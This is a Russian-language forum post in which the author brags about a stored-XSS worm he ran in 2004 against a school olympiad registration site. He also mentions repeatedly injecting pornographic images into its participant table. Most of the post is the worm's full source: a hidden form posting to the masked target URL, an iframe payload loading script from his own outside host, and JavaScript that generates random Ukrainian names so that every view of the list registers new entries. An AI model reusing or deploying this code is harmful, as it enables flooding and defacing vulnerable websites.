Классно...
А никто не знает что это придумал я =)
Еще в 2004 году я таким макаром один сайт олимпиады попускал.
(если что - админы подтвердят. Сомневаюсь, что они меня забыли

)
В регистрации форма пропускала хтмл код.
в одно из полей я фтыкнул ифрейм, который грузил страницу моего сайта на народе, где JS код генерировал рандомніе из списка ФИО и регистрировался на сайте, причемм одно из полей опять таки содержало фрейм.
Итого при просмотре списка участников происходила регистрация новых.
Каждая строка - номер просмотра - количество рег
0 1
1 2
2 4
3 6
4 10
...
Хотя после этого дела админы наконец то прикрыли xss, хотя до я им не раз порно картинки внедрял в таблицу
Код:
<form name="xf" action="http://www2.********/cgi-bin/v_olymp/i2004/members.py" method="POST"> <input type="hidden" name="first_name" value="fucker"> <input type="hidden" name="second_name" value="%3CIFRAME width=0 height=0 src=%22http://xaker_site.narod.ru/reg.htm%22%3E%3C/IFRAME%3Efucker"> <input type="hidden" name="country" value="Украина"> <input type="hidden" name="city" value="Киев"> <input type="hidden" name="school" value="СШ №7"> <input type="hidden" name="course" value="10"> <input type="hidden" name="email" value="vxredirect@mail333.com"> <input type="hidden" name="status" value="student"> <input type="hidden" name="language" value="ukr"> <input type="hidden" name="command" value="register"> </form> <script> function rand(num) { return Math.floor(Math.random() * num )+1; } s='xxxx'; s=rand(9)+''+rand(9)+''+rand(9)+''+rand(9); document.write(s+'<BR>'); names=new Array (30); names[00]= 'Дмитрий'; names[01]= 'Андрей'; names[02]= 'Николай'; names[03]= 'Евгений'; names[04]= 'Иван'; names[05]= 'Антон'; names[06]= 'Олег'; names[07]= 'Константин'; names[08]= 'Вова'; names[09]= 'Сергей'; names[10]='Виктор'; names[11]='Кирилл'; names[12]='Максим'; names[13]='Иосиф'; names[14]='Юрий'; names[15]='Иван'; names[16]='Роман'; names[17]='Александр'; names[18]='Алексей '; names[19]='Владимир'; names[20]='Илья'; names[21]='Богдан'; names[22]='Даниил'; names[23]='Виталий'; names[24]='Егор'; names[25]='Игорь'; names[26]='Ростислав'; names[27]='Артур'; names[28]='Вадим'; names[29]='Леонид'; names[30]='Павел'; surnames=new Array (30); surnames[00]= 'Петров'; surnames[01]= 'Петровский'; surnames[02]= 'Сидоров'; surnames[03]= 'Сидорчук'; surnames[04]= 'Иванов'; surnames[05]= 'Иваненко'; surnames[06]= 'Маенко'; surnames[07]= 'Еремеенко'; surnames[08]= 'Лацюк'; surnames[09]= 'Бузин'; surnames[10]= 'Литвинов'; surnames[11]= 'Тысливый'; surnames[12]= 'Кипелов'; surnames[13]= 'Короленко'; surnames[14]= 'Монкур'; surnames[15]= 'Федорчук'; surnames[16]= 'Кравченко'; surnames[17]= 'Тымчиков'; surnames[18]= 'Хмельничук'; surnames[19]= 'Костыренко'; surnames[20]= 'Ронин'; surnames[21]= 'Вавилов'; surnames[22]= 'Винничук'; surnames[23]= 'Благой'; surnames[24]= 'Гончаренко'; surnames[25]= 'Ефимов'; surnames[26]= 'Каиров'; surnames[27]= 'Смирнов'; surnames[28]= 'Ходаков'; surnames[29]= 'Орлов'; surnames[30]= 'Вовченко'; cities=new Array (21); cities[0]='Киев'; cities[1]='Чернигов'; cities[2]='Сумы'; cities[3]='Харьков'; cities[4]='Луганск'; cities[5]='Донецк'; cities[6]='Запорожье'; cities[7]='Днепропетровск'; cities[8]='Херсон'; cities[9]='Симферополь'; cities[9]='Николаев'; cities[10]='Одесса'; cities[11]='Кировоград'; cities[12]='Черкассы'; cities[13]='Житомир'; cities[14]='Хмельницкий'; cities[15]='Ровно'; cities[16]='Тернополь'; cities[17]='Черновцы'; cities[18]='Ивано-Франковск'; cities[19]='Львов'; cities[20]='Луцк'; cities[21]='Днепродзержинск'; courses=new Array (3); courses[1]='9'; courses[2]='10'; courses[3]='11'; schs=new Array (8); schs[1]='сш№'; schs[2]='СШ №'; schs[3]='сш №'; schs[4]='СООШ '; schs[5]='сш'; schs[6]='СШ '; schs[7]='Школа №'; schs[8]='Школа '; document.xf.first_name.value=names[rand(30)]; document.xf.second_name.value=surnames[rand(30)]; document.xf.city.value=cities[rand(21)]; document.xf.school.value=schs[rand(8)]+rand(88); document.xf.course.value=courses[rand(3)]; document.write(document.xf.first_name.value+'<BR>'); document.write(document.xf.second_name.value+'<BR>'); document.write(document.xf.country.value+'<BR>'); document.write(document.xf.city.value+'<BR>'); document.write(document.xf.school.value+'<BR>'); document.write(document.xf.course.value+'<BR>'); //id generation //document.forms[0].submit(); </script>
мда, были времена когда я еще не знал пхп и приходилось вот так извращаться...
Еще в тему оттуда же
Флудер на Javascript